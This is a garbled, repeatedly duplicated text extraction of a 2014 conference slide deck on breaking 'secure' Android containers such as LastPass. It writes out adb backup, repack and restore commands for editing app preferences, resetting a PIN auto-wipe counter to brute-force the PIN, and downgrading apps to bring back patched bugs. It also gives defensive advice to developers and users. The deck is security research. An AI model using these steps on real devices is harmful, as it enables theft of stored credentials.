Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 132: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 133: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 134: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

